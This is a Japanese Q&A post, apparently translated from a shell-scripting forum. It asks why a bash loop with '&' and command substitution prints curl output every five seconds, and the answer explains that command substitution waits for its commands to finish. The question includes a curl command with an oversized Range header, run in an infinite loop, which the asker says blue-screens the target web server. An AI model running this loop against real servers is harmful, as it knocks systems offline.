私はLinuxコマンドで反復しようとしましたが、最後にbashスクリプトを使用することにしました。コマンドは、ターゲットWebサーバーにブルースクリーンを表示するカールです。私は会社で浸透テストをしています。だから私はこのカールコマンドを無限に繰り返したいと思い、bashスクリプトループコマンドをうまく使いました。最終的なコマンドは次のとおりです。
Ubuntu 14.04 LTSターミナル:
while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done
しかし、明確に理解できないのは、一部の記事とQ&Aによると、コマンド1とコマンド2とコマンド3を1行に分けて各コマンドが非同期で実行されるため、お互いに待たずに同時に実行されることです。しかし、上記の攻撃コードの結果では、「5秒ごとに」カールの出力が繰り返されます。つまり、カールが実行中で5秒待ってからカールが中断されます。その後、カールを再実行します。したがって、5秒ごとに出力が再び表示されます。したがって、これらのコマンドは互いに干渉します。しかし、インターネットの記事やQ&Aでは正反対を語っています。誰でもこれを明確にできますか?
注:カールは、カールの攻撃パラメータのために保留状態にあります。完了していません。したがって、私はsleepコマンドとpkillコマンドをそれぞれ使用します。これにより、攻撃パラメータとともにカールコマンドを正確かつ繰り返し使用できます。
関連リンク:
1) (command1 & command2 & command3 &) 複数のジョブを並列に実行
2) (command1 & command2 & command3 &) 別々のサブシェルで同時に実行
https://bashitout.com/2013/05/18/Ampersands-on-the-command-line.html
3)非同期(マルチスレッド)図の例
答え1
次のように考えることができます。
curl -v ...
,sleep 5
,pkill curl
はいほぼ同時に実行- おそらく、実行中に
pkill curl
最初のcurl
コマンドがいくつかのデータを受け取った可能性があります。それからそれは死んだ。 $( ... )
完全に終了するコマンドの置き換えは、すべてのコマンドが完了するのを待ちます。バラよりバックグラウンドプロセスが終了するまで関数が返されないのはなぜですか?curl
その後、すべての出力、つまり受信したデータが表示されます。たとえば、echo $(date & sleep 5); date
これを確認するには実行してください。最初の出力が表示されるまで待つ必要があります。- 繰り返す
したがって、表示される出力はcurl
(より正確には実装するこのコマンド置換の出力(理由はわかりません)はcurl
約5秒後に終了します。
注:カールは、カールの攻撃パラメータのために保留状態にあります。
「攻撃パラメータ」が何を意味するのかわかりません。